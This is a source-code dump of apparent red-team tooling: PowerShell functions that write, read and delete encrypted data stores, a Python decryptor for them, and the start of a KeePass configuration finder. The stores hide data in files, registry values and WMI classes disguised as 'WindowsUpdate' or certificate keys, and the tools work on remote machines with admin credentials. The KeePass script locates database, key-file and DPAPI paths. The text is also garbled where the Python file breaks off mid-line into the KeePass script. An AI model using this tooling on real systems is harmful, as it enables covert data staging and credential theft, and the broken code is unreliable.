1575 | $ValueName = $RegistryParts[-1]
1576 |
1577 | if($Computer -ne 'localhost') {
1578 | # remote registry storage - logic heavily adopted from @mattifestation's Invoke-WmiCommand.ps1 logic
1579 |
1580 | $WmiMethodArgs['ComputerName'] = $Computer
1581 |
1582 | $RegistryKeyParts = $KeyName.Split('\')
1583 | $RegistryKeyPath = $RegistryKeyParts[1..($RegistryKeyParts.Length)] -join '\'
1584 |
1585 | switch ($RegistryKeyParts[0]) {
1586 | 'HKLM:' { $Hive = 2147483650 }
1587 | 'HKCU:' { $Hive = 2147483649 }
1588 | 'HKCR:' { $Hive = 2147483648 }
1589 | 'HKU:' { $Hive = 2147483651 }
1590 | 'HKCC:' { $Hive = 2147483653 }
1591 | }
1592 |
1593 | $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'GetBinaryValue' -ArgumentList @($Hive, $RegistryKeyPath, $ValueName)
1594 |
1595 | if ($Result.ReturnValue -ne 0) {
1596 | Write-Warning "[$Computer] Unable retrieve encrypted store data from the following registry value: $Store"
1597 | $EncStoreLength = 0
1598 | }
1599 | else {
1600 | $EncStoreData = $Result.uValue
1601 | $EncStoreLength = $EncStoreData.Length
1602 | }
1603 | }
1604 | else {
1605 | # localhost registry storage
1606 | try {
1607 | $EncStoreData = (Get-ItemProperty -Path $KeyName -Name $ValueName -ErrorAction Stop).$ValueName
1608 | $EncStoreLength = $EncStoreData.Length
1609 | }
1610 | catch {
1611 | Write-Warning "[$Computer] Exception reading registry location '$Store' : $_"
1612 | }
1613 | }
1614 | }
1615 | elseif($Store -match '^[A-Z0-9]*\\.*:[A-Z0-9]+$') {
1616 | # WMI storage
1617 |
1618 | try {
1619 | if($Computer -ne 'localhost') {
1620 | $StoreParts = $Store.Split(':')
1621 | $Namespace = $StoreParts[0]
1622 | $Class = $StoreParts[1]
1623 |
1624 | $WmiMethodArgs['ComputerName'] = $Computer
1625 |
1626 | $WmiClass = Get-WmiObject @WmiMethodArgs -Namespace $Namespace -List -ErrorAction Stop | Where-Object {$_.Name -eq $Class}
1627 | }
1628 | else {
1629 | $WmiClass = [WmiClass] $Store
1630 | }
1631 |
1632 | if($WmiClass) {
1633 | $EncStoreData = $WmiClass.GetPropertyValue('Content')
1634 | $EncStoreLength = $EncStoreData.Length
1635 | }
1636 | else {
1637 | Write-Verbose "[$Computer] Error reading from WMI location '$Store' : no WMI class returned"
1638 | }
1639 | }
1640 | catch {
1641 | Write-Warning "[$Computer] Exception reading WMI location '$Store' : $_"
1642 | }
1643 | }
1644 | else {
1645 | throw "[$Computer] Invalid StorePath format: $Store"
1646 | }
1647 |
1648 | if($EncStoreData -and $EncStoreLength) {
1649 | $Properties = @{
1650 | 'ComputerName' = $Computer
1651 | 'StorePath' = $Store
1652 | 'EncStoreData' = $EncStoreData
1653 | 'EncStoreLength' = $EncStoreLength
1654 | }
1655 |
1656 | $EncryptedStoreObject = New-Object -TypeName PSObject -Property $Properties
1657 | $EncryptedStoreObject.PSObject.TypeNames.Insert(0, 'EncryptedStore')
1658 | $EncryptedStoreObject
1659 | }
1660 | }
1661 | }
1662 | }
1663 | }
1664 |
1665 |
1666 | function Remove-EncryptedStore {
1667 | <#
1668 | .SYNOPSIS
1669 |
1670 | Removes the specified encrypted store data. For files on disk, the file is
1671 | deleted, for registry entries the key is removed, and for custom WMI classes
1672 | the custom class (but not the namespace) is removed.
1673 |
1674 | Author: @harmj0y
1675 | License: BSD 3-Clause
1676 | Required Dependencies: None
1677 | Optional Dependencies: None
1678 |
1679 | .PARAMETER StorePath
1680 |
1681 | The path of the encrypted store to read file data from. Can be on the filesystem ("${Env:Temp}\debug.bin"),
1682 | registry (HKLM:\SOFTWARE\something\something\key\valuename), or WMI (ROOT\Software\namespace:ClassName).
1683 |
1684 | .PARAMETER ComputerName
1685 |
1686 | Access the -StorePath on the specified computers. The default is the local computer.
1687 |
1688 | Type the NetBIOS name, an IP address, or a fully qualified domain
1689 | name of one or more computers. To specify the local computer, type
1690 | the computer name, a dot (.), or "localhost".
1691 |
1692 | This parameter does not rely on Windows PowerShell remoting. You can
1693 | use the ComputerName parameter even if your computer is not
1694 | configured to run remote commands.
1695 |
1696 | .PARAMETER Credential
1697 |
1698 | Specifies a user account that has permission to perform this action.
1699 |
1700 | The default is the current user. Type a user name, such as "User01",
1701 | "Domain01\User01", or User@Contoso.com. Or, enter a PSCredential
1702 | object, such as an object that is returned by the Get-Credential
1703 | cmdlet. When you type a user name, you will be prompted for a
1704 | password.
1705 |
1706 | .PARAMETER Impersonation
1707 |
1708 | Specifies the impersonation level to use. Valid values are:
1709 |
1710 | 0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
1711 | 1: Anonymous (Hides the credentials of the caller.)
1712 | 2: Identify (Allows objects to query the credentials of the caller.)
1713 | 3: Impersonate (Allows objects to use the credentials of the caller.)
1714 | 4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
1715 |
1716 | .PARAMETER Authentication
1717 |
1718 | Specifies the authentication level to be used with the WMI connection. Valid values are:
1719 |
1720 | -1: Unchanged
1721 | 0: Default
1722 | 1: None (No authentication in performed.)
1723 | 2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
1724 | 3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
1725 | 4: Packet (Authentication is performed on all the data that is received from the client.)
1726 | 5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
1727 | 6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
1728 |
1729 | .PARAMETER EnableAllPrivileges
1730 |
1731 | Enables all the privileges of the current user before the command
1732 | makes the WMI call.
1733 |
1734 | .PARAMETER Authority
1735 |
1736 | Specifies the authority to use to authenticate the WMI connection.
1737 | You can specify standard NTLM or Kerberos authentication. To use
1738 | NTLM, set the authority setting to ntlmdomain:, where
1739 | identifies a valid NTLM domain name. To use Kerberos,
1740 | specify kerberos:. You cannot include the
1741 | authority setting when you connect to the local computer.
1742 |
1743 | .EXAMPLE
1744 |
1745 | PS C:\> Remove-EncryptedStore -StorePath 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCert'
1746 |
1747 | Remove the encrypted store in the specified specified registry key on the local machine.
1748 |
1749 | .EXAMPLE
1750 |
1751 | PS C:\> $StorePath = 'ROOT\Software:WindowsUpdate'
1752 | PS C:\> Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore
1753 |
1754 | Remove the encrypted store in the specified specified WMI class on the local machine.
1755 |
1756 | .EXAMPLE
1757 |
1758 | PS C:\> $ComputerName = 'PRIMARY.testlab.local'
1759 | PS C:\> $Credential = Get-Credential 'TESTLAB\administrator'
1760 | PS C:\> $StorePath = 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCert'
1761 | PS C:\> Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential
1762 |
1763 | Retrive the raw encrypted store data in the registry key specified on the remote
1764 | 'PRIMARY.testlab.local' machine using the specified credentials, and then remove
1765 | the store.
1766 | #>
1767 |
1768 | [CmdletBinding()]
1769 | param(
1770 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
1771 | [Alias('Path')]
1772 | [ValidatePattern('.*\\.*')]
1773 | [String[]]
1774 | $StorePath,
1775 |
1776 | [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1777 | [Alias('Cn')]
1778 | [String[]]
1779 | [ValidateNotNullOrEmpty()]
1780 | $ComputerName = 'localhost',
1781 |
1782 | [Management.Automation.PSCredential]
1783 | [Management.Automation.CredentialAttribute()]
1784 | $Credential = [Management.Automation.PSCredential]::Empty,
1785 |
1786 | [Management.ImpersonationLevel]
1787 | $Impersonation,
1788 |
1789 | [System.Management.AuthenticationLevel]
1790 | $Authentication,
1791 |
1792 | [Switch]
1793 | $EnableAllPrivileges,
1794 |
1795 | [String]
1796 | $Authority
1797 | )
1798 |
1799 | BEGIN {
1800 | # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod
1801 | $WmiMethodArgs = @{}
1802 | if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential }
1803 | if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation }
1804 | if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication }
1805 | if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges }
1806 | if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority }
1807 | }
1808 |
1809 | PROCESS {
1810 | ForEach($Computer in $ComputerName) {
1811 |
1812 | ForEach($Store in $StorePath) {
1813 |
1814 | Write-Verbose "[$Computer] Removing encrypted store at: '$Store'"
1815 |
1816 | if(($Store -match '^[A-Z]:\\') -or ($Store -match '^\\\\[A-Z0-9]+\\[A-Z0-9]+')) {
1817 | # file on a disk, local or remote, or \\UNC path
1818 |
1819 | if($Computer -ne 'localhost') {
1820 | # remote -ComputerName specification
1821 | $Net = New-Object -ComObject WScript.Network
1822 |
1823 | $PathParts = $Store.Replace(':', '$').Split('\')
1824 | $UNCPath = "\\$ComputerName\$($PathParts[0..($PathParts.Length-2)] -join '\')"
1825 | $FileName = $PathParts[-1]
1826 |
1827 | if($PSBoundParameters['Credential']) {
1828 | try {
1829 | # map a temporary network drive with the credentials supplied
1830 | # this is because New-PSDrive in PowerShell v2 doesn't support alternate credentials :(
1831 | Write-Verbose "[$Computer] Mapping drive Z: to '$UNCPath'"
1832 | $Net.MapNetworkDrive("Z:", $UNCPath, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)
1833 | $EncStorePath = "Z:\$FileName"
1834 | }
1835 | catch {
1836 | throw "[$Computer] Error mapping path '$Store' : $_"
1837 | }
1838 | }
1839 | else {
1840 | $EncStorePath = "$UNCPath\$FileName"
1841 | }
1842 | }
1843 | else {
1844 | # plain old localhost
1845 | $EncStorePath = Resolve-Path -Path $Store
1846 | }
1847 |
1848 | try {
1849 | $Null = Remove-Item -Path $EncStorePath -Force
1850 | }
1851 | catch {
1852 | Write-Warning "[$Computer] Error removing file '$EncStorePath' : $_"
1853 | }
1854 |
1855 | if($Computer -ne 'localhost' -and ($PSBoundParameters['Credential'])) {
1856 | try {
1857 | Write-Verbose "[$Computer] Unmapping drive Z:\"
1858 | $Net = New-Object -ComObject WScript.Network
1859 | $Null = $Net.RemoveNetworkDrive('Z:', $True)
1860 | }
1861 | catch {
1862 | Write-Verbose "[$Computer] Error unmapping drive Z:\ : $_"
1863 | }
1864 | }
1865 | }
1866 | elseif($Store -match '^(HKCR|HKCU|HKLM|HKU|HKCC):\\') {
1867 | # registry storage
1868 |
1869 | $RegistryParts = $Store.Split('\')
1870 | $KeyName = ($RegistryParts[0..($RegistryParts.Length - 2)]) -join '\'
1871 | $ValueName = $RegistryParts[-1]
1872 |
1873 | if($Computer -ne 'localhost') {
1874 | # remote registry storage - logic heavily adopted from @mattifestation's Invoke-WmiCommand.ps1 logic
1875 |
1876 | $WmiMethodArgs['ComputerName'] = $Computer
1877 |
1878 | $RegistryKeyParts = $KeyName.Split('\')
1879 | $RegistryKeyPath = $RegistryKeyParts[1..($RegistryKeyParts.Length)] -join '\'
1880 |
1881 | switch ($RegistryKeyParts[0]) {
1882 | 'HKLM:' { $Hive = 2147483650 }
1883 | 'HKCU:' { $Hive = 2147483649 }
1884 | 'HKCR:' { $Hive = 2147483648 }
1885 | 'HKU:' { $Hive = 2147483651 }
1886 | 'HKCC:' { $Hive = 2147483653 }
1887 | }
1888 |
1889 | $Result = Invoke-WmiMethod @WmiMethodArgs -Namespace 'Root\default' -Class 'StdRegProv' -Name 'DeleteValue' -ArgumentList @($Hive, $RegistryKeyPath, $ValueName) -ErrorAction Stop
1890 |
1891 | if ($Result.ReturnValue -ne 0) {
1892 | Write-Warning "[$Computer] Unable delete store data from the following registry value: $Store"
1893 | }
1894 | }
1895 | else {
1896 | # localhost registry storage
1897 | try {
1898 | $Null = Remove-ItemProperty -Path $KeyName -Name $ValueName -Force -ErrorAction Stop
1899 | }
1900 | catch {
1901 | Write-Warning "[$Computer] Exception removing registry value '$Store' : $_"
1902 | }
1903 | }
1904 | }
1905 | elseif($Store -match '^[A-Z0-9]*\\.*:[A-Z0-9]+$') {
1906 | # WMI storage
1907 |
1908 | try {
1909 | if($Computer -ne 'localhost') {
1910 | $StoreParts = $Store.Split(':')
1911 | $Namespace = $StoreParts[0]
1912 | $Class = $StoreParts[1]
1913 |
1914 | $WmiMethodArgs['ComputerName'] = $Computer
1915 |
1916 | $Null = Remove-WmiObject @WmiMethodArgs -Class $Class -Namespace $Namespace
1917 | }
1918 | else {
1919 | $Null = [WmiClass] $Store | Remove-WmiObject
1920 | }
1921 | }
1922 | catch {
1923 | Write-Warning "[$Computer] Exception removing WMI class '$Store' : $_"
1924 | }
1925 | }
1926 | else {
1927 | throw "[$Computer] Invalid StorePath format: $Store"
1928 | }
1929 | }
1930 | }
1931 | }
1932 | }
1933 |
1934 |
1935 | function New-RSAKeyPair {
1936 | <#
1937 | .SYNOPSIS
1938 |
1939 | Helper that returns XML-exported strings representing the public/private components of
1940 | a randomly generated RSA key pair.
1941 |
1942 | Author: @harmj0y
1943 | License: BSD 3-Clause
1944 | Required Dependencies: None
1945 | Optional Dependencies: None
1946 |
1947 | .DESCRIPTION
1948 |
1949 | Wraps the System.Security.Cryptography.RSACryptoServiceProvider to generate a RSA public/private
1950 | key pair and returns a custom object with the XML exports of each for use in Write/Out-EncryptedStore
1951 | and Read-EncryptedStore.
1952 |
1953 | .EXAMPLE
1954 |
1955 | PS C:\> $RSA = New-RSAKeyPair
1956 | PS C:\> $RSA | Format-List
1957 |
1958 | Generates a random RSA public/private key pair and displays the XML exports of the keys.
1959 | #>
1960 |
1961 | $CSP = New-Object System.Security.Cryptography.CspParameters;
1962 | $CSP.Flags = $CSP.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore;
1963 | $RSA = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList @(1024,$CSP)
1964 |
1965 | $Pub = $RSA.ToXmlString($False)
1966 | $Priv = $RSA.ToXmlString($True)
1967 |
1968 | $Properties = @{
1969 | 'Priv' = $Priv
1970 | 'Pub' = $Pub
1971 | }
1972 |
1973 | New-Object -TypeName PSObject -Property $Properties
1974 | }
1975 |
1976 |
1977 | # # tests
1978 |
1979 | # $RSA = New-RSAKeyPair
1980 |
1981 | # # local tests
1982 | # $ComputerName = 'localhost'
1983 | # $StorePath = 'C:\Temp\temp.bin'
1984 | # Write-Host "`n[$ComputerName] AES Storepath : $StorePath"
1985 | # ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key 'Password123!'
1986 | # Read-EncryptedStore -StorePath $StorePath -Key 'Password123!' -List
1987 | # Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore
1988 | # Start-Sleep -Seconds 1
1989 |
1990 | # Write-Host "`n[$ComputerName] RSA Storepath : $StorePath"
1991 | # ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key $RSA.Pub
1992 | # Read-EncryptedStore -StorePath $StorePath -Key $RSA.Priv -List
1993 | # Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore
1994 | # Start-Sleep -Seconds 1
1995 |
1996 | # $StorePath = 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCertificate'
1997 | # Write-Host "`n[$ComputerName] AES Storepath : $StorePath"
1998 | # ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key 'Password123!'
1999 | # Read-EncryptedStore -StorePath $StorePath -Key 'Password123!' -List
2000 | # Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore
2001 | # Start-Sleep -Seconds 1
2002 |
2003 | # Write-Host "`n[$ComputerName] RSA Storepath : $StorePath"
2004 | # ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key $RSA.Pub
2005 | # Read-EncryptedStore -StorePath $StorePath -Key $RSA.Priv -List
2006 | # Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore
2007 | # Start-Sleep -Seconds 1
2008 |
2009 |
2010 | # $StorePath = 'ROOT\Software:WindowsUpdate'
2011 | # Write-Host "`n[$ComputerName] AES Storepath : $StorePath"
2012 | # ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key 'Password123!'
2013 | # Read-EncryptedStore -StorePath $StorePath -Key 'Password123!' -List
2014 | # Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore
2015 | # Start-Sleep -Seconds 1
2016 |
2017 | # $StorePath = 'ROOT\Software:WindowsUpdate'
2018 | # Write-Host "`n[$ComputerName] RSA Storepath : $StorePath"
2019 | # ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key $RSA.Pub
2020 | # Read-EncryptedStore -StorePath $StorePath -Key $RSA.Priv -List
2021 | # Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore
2022 | # Start-Sleep -Seconds 1
2023 |
2024 |
2025 | # # remote tests
2026 | # $ComputerName = 'PRIMARY.testlab.local'
2027 | # $Credential = Get-Credential 'TESTLAB\administrator'
2028 | # $StorePath = 'C:\Temp\temp2.bin'
2029 | # Write-Host "`n[$ComputerName] AES Storepath : $StorePath"
2030 | # ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!'
2031 | # Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' -List
2032 | # Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential
2033 | # Start-Sleep -Seconds 1
2034 |
2035 | # Write-Host "`n[$ComputerName] RSA Storepath : $StorePath"
2036 | # ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Pub
2037 | # Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Priv -List
2038 | # Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential
2039 | # Start-Sleep -Seconds 1
2040 |
2041 |
2042 | # $StorePath = 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCert'
2043 | # Write-Host "`n[$ComputerName] AES Storepath : $StorePath"
2044 | # ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!'
2045 | # ".\u2.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!'
2046 | # Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' -List
2047 | # Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential
2048 | # Start-Sleep -Seconds 1
2049 |
2050 | # Write-Host "`n[$ComputerName] RSA Storepath : $StorePath"
2051 | # ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Pub
2052 | # ".\u2.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Pub
2053 | # Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Priv -List
2054 | # Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential
2055 | # Start-Sleep -Seconds 1
2056 |
2057 |
2058 | # $StorePath = 'ROOT\Software:WindowsUpdate2'
2059 | # Write-Host "`n[$ComputerName] AES Storepath : $StorePath"
2060 | # ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!'
2061 | # Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' -List
2062 | # Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential
2063 | # Start-Sleep -Seconds 1
2064 |
2065 | # Write-Host "`n[$ComputerName] RSA Storepath : $StorePath"
2066 | # ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Pub
2067 | # Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key $RSA.Priv -List
2068 | # Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath | Remove-EncryptedStore -ComputerName $ComputerName -Credential $Credential
2069 | # Start-Sleep -Seconds 1
2070 |
--------------------------------------------------------------------------------
/EncryptedStore.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | import hashlib
4 | import struct
5 | import argparse
6 | import zlib
7 | import os
8 | import re
9 | from binascii import hexlify
10 | from Crypto.Cipher import AES
11 |
12 |
13 | def decrypt_store(storePath, key, listFiles=False):
14 | """
15 | Decrypts/decompresses an encrypted store or lists its contents.
16 |
17 | Args:
18 | storePath: the path to the encrypted store
19 | key: the key for the encrypted store
20 | listFiles: list files in the store instead of extracting
21 |
22 | Returns:
23 | Prints file listings if 'listFiles' is specified, otherwise
24 | extracts files to the local folder, preserving the original
25 | file paths.
26 |
27 | Notes:
28 |
29 | Store structure:
30 |
31 | [4 bytes representing size of next block to decrypt]
32 | [0] (indicating straight AES)
33 | [16 byte IV]
34 | [AES-CBC encrypted file block]
35 | [compressed stream]
36 | [260 characters/bytes indicating original path]
37 | [file contents]
38 | ...
39 |
40 | [4 bytes representing size of next block to decrypt]
41 | [1] (indicating straight RSA+AES)
42 | [128 bytes random AES key encrypted with the the RSA public key]
43 | [16 byte IV]
44 | [AES-CBC encrypted file block]
45 | [compressed stream]
46 | [260 characters/bytes indicating original path]
47 | [file contents]
48 | ...
49 |
50 |
51 | To decrypt ENCSTORE.bin:
52 |
53 | While there is more data to decrypt:
54 |
55 | -Read first 4 Bytes of ENCSTORE.bin and calculate length value X
56 | -Read next size X Bytes of encrypted file
57 | -Read first byte of encrypted block to determine encryption scheme
58 | - 0 == straight AES
59 | - 1 == RSA + AES where random AES key encrypted with RSA pub key
60 | -If RSA+AES is used, read the next 128 bytes of the RSA encrypted AES key and decrypt using the RSA private key
61 | -Read next 16 Bytes of encrypted block and extract IV
62 | -Read remaining block and decrypt AES-CBC compressed stream using key and extracted IV
63 | -Decompress [PATH + file] using IO.Compression.DeflateStream
64 | -Split path by \ and create nested folder structure to mirror original path
65 | -Write original file to mirrored path
66 | """
67 |
68 | pattern = re.compile('^.*.*.*
.*
.*.*.*.*$')
69 | if pattern.match(key):
70 | print '[!] RSA decryption not currently supported, use EncryptedStore.ps1\n'
71 | return
72 |
73 | if len(key) != 32:
74 | key = hashlib.md5(key).hexdigest()
75 |
76 | f = open(storePath)
77 | data = f.read()
78 | f.close()
79 |
80 | dataLen = len(data)
81 |
82 | if dataLen > 20:
83 |
84 | print ""
85 | if(listFiles):
86 | print "Files:\n"
87 |
88 | offset = 0
89 | while offset < dataLen:
90 | blockSize = struct.unpack(" Find-KeePassconfig
25 |
26 | DefaultDatabasePath : C:\Users\testuser\Desktop\Database2.kdb
27 | SecureDesktop :
28 | LastUsedFile : C:\Users\testuser\Desktop\Database3.kdb
29 | DefaultKeyFilePath : C:\Users\testuser\Desktop\k.bin
30 | DefaultUserAccountData :
31 | RecentlyUsed : {C:\Users\testuser\Desktop\Database3.kdb, C:\Users\testuser\Desktop\k2.bin}
32 | KeePassConfigPath : C:\Users\testuser\Desktop\blah\KeePass-1.31\KeePass.ini
33 |
34 | DefaultDatabasePath : C:\Users\testuser\Desktop\NewDatabase.kdbx
35 | SecureDesktop : False
36 | LastUsedFile : C:\Users\testuser\Desktop\NewDatabase.kdbx
37 | DefaultKeyFilePath : C:\Users\testuser\Desktop\blah\KeePass-2.34\KeePass.chm
38 | DefaultUserAccountData : @{UserDomain=TESTLAB; UserKeePassDPAPIBlob=C:\Users\testuser\AppData\Roaming\KeePass\Protected
39 | UserKey.bin; UserSid=S-1-5-21-456218688-4216621462-1491369290-1210; UserName=testuser; UserMas
40 | terKeyFiles=System.Object[]}
41 | RecentlyUsed : {C:\Users\testuser\Desktop\NewDatabase.kdbx}
42 | KeePassConfigPath : C:\Users\testuser\Desktop\blah\KeePass-2.34\KeePass.config.xml
43 | #>
44 |
45 | [CmdletBinding()]
46 | param(
47 | [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
48 | [ValidateScript({Test-Path -Path $_ })]
49 | [Alias('FullName')]
50 | [String[]]
51 | $Path
52 | )
53 |
54 | BEGIN {
55 |
56 | function local:Get-IniContent {
57 | <#
58 | .SYNOPSIS
59 |
60 | This helper parses an .ini file into a proper PowerShell object.
61 |
62 | Author: 'The Scripting Guys'
63 | Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
64 |
65 | .LINK
66 |
67 | https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
68 | #>
69 | [CmdletBinding()]
70 | Param(
71 | [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
72 | [Alias('FullName')]
73 | [ValidateScript({ Test-Path -Path $_ })]
74 | [String[]]
75 | $Path
76 | )
77 |
78 | PROCESS {
79 | ForEach($TargetPath in $Path) {
80 | $IniObject = @{}
81 | Switch -Regex -File $TargetPath {
82 | "^\[(.+)\]" # Section
83 | {
84 | $Section = $matches[1].Trim()
85 | $IniObject[$Section] = @{}
86 | $CommentCount = 0
87 | }
88 | "^(;.*)$" # Comment
89 | {
90 | $Value = $matches[1].Trim()
91 | $CommentCount = $CommentCount + 1
92 | $Name = 'Comment' + $CommentCount
93 | $IniObject[$Section][$Name] = $Value
94 | }
95 | "(.+?)\s*=(.*)" # Key
96 | {
97 | $Name, $Value = $matches[1..2]
98 | $Name = $Name.Trim()
99 | $Values = $Value.split(',') | ForEach-Object {$_.Trim()}
100 | if($Values -isnot [System.Array]) {$Values = @($Values)}
101 | $IniObject[$Section][$Name] = $Values
102 | }
103 | }
104 | $IniObject
105 | }
106 | }
107 | }
108 |
109 | function Local:Get-KeePassINIFields {
110 | # helper that parses a 1.X KeePass.ini into a custom object
111 | [CmdletBinding()]
112 | Param (
113 | [Parameter(Mandatory=$True)]
114 | [ValidateScript({ Test-Path -Path $_ })]
115 | [String]
116 | $Path
117 | )
118 |
119 | $KeePassINIPath = Resolve-Path -Path $Path
120 | $KeePassINIPathParent = $KeePassINIPath | Split-Path -Parent
121 | $KeePassINI = Get-IniContent -Path $KeePassINIPath
122 | $RecentlyUsed = @()
123 |
124 | try {
125 | if($KeePassINI.KeePass.KeeLastDb) {
126 | $LastUsedFile = Resolve-Path -Path "$KeePassINIPathParent\$($KeePassINI.KeePass.KeeLastDb)" -ErrorAction Stop
127 | }
128 | }
129 | catch {}
130 |
131 | try {
132 | if($KeePassINI.KeePass.KeeKeySourceID0) {
133 | $DefaultDatabasePath = Resolve-Path -Path $KeePassINI.KeePass.KeeKeySourceID0 -ErrorAction SilentlyContinue
134 | }
135 | }
136 | catch {}
137 |
138 | try {
139 | if($KeePassINI.KeePass.KeeKeySourceValue0) {
140 | $DefaultKeyFilePath = Resolve-Path -Path $KeePassINI.KeePass.KeeKeySourceValue0 -ErrorAction SilentlyContinue
141 | }
142 | }
143 | catch {}
144 |
145 | # grab any additional cached databases/key information
146 | $KeePassINI.KeePass.Keys | Where-Object {$_ -match 'KeeKeySourceID[1-9]+'} | Foreach-Object {
147 | try {
148 | $ID = $_[-1]
149 | $RecentlyUsed += $KeePassINI.Keepass["KeeKeySourceID${ID}"]
150 | $RecentlyUsed += $KeePassINI.Keepass["KeeKeySourceValue${ID}"]
151 | }
152 | catch{}
153 | }
154 |
155 | $KeePassINIProperties = @{
156 | 'KeePassConfigPath' = $KeePassINIPath
157 | 'SecureDesktop' = $Null
158 | 'LastUsedFile' = $LastUsedFile
159 | 'RecentlyUsed' = $RecentlyUsed
160 | 'DefaultDatabasePath' = $DefaultDatabasePath
161 | 'DefaultKeyFilePath' = $DefaultKeyFilePath
162 | 'DefaultUserAccountData' = $Null
163 | }
164 | $KeePassINIInfo = New-Object -TypeName PSObject -Property $KeePassINIProperties
165 | $KeePassINIInfo.PSObject.TypeNames.Insert(0, 'KeePass.Config')
166 | $KeePassINIInfo
167 | }
168 |
169 | function Local:Get-KeePassXMLFields {
170 | # helper that parses a 2.X KeePass.config.xml into a custom object
171 | [CmdletBinding()]
172 | Param (
173 | [Parameter(Mandatory=$True)]
174 | [ValidateScript({ Test-Path -Path $_ })]
175 | [String]
176 | $Path
177 | )
178 |
179 | $KeePassXMLPath = Resolve-Path -Path $Path
180 | $KeePassXMLPathParent = $KeePassXMLPath | Split-Path -Parent
181 | [Xml]$KeePassXML = Get-Content -Path $KeePassXMLPath
182 |
183 | $LastUsedFile = ''
184 | $RecentlyUsed = @()
185 | $DefaultDatabasePath = ''
186 | $DefaultKeyFilePath = ''
187 | $DefaultUserAccountData = $Null
188 |
189 | if($KeePassXML.Configuration.Application.LastUsedFile) {
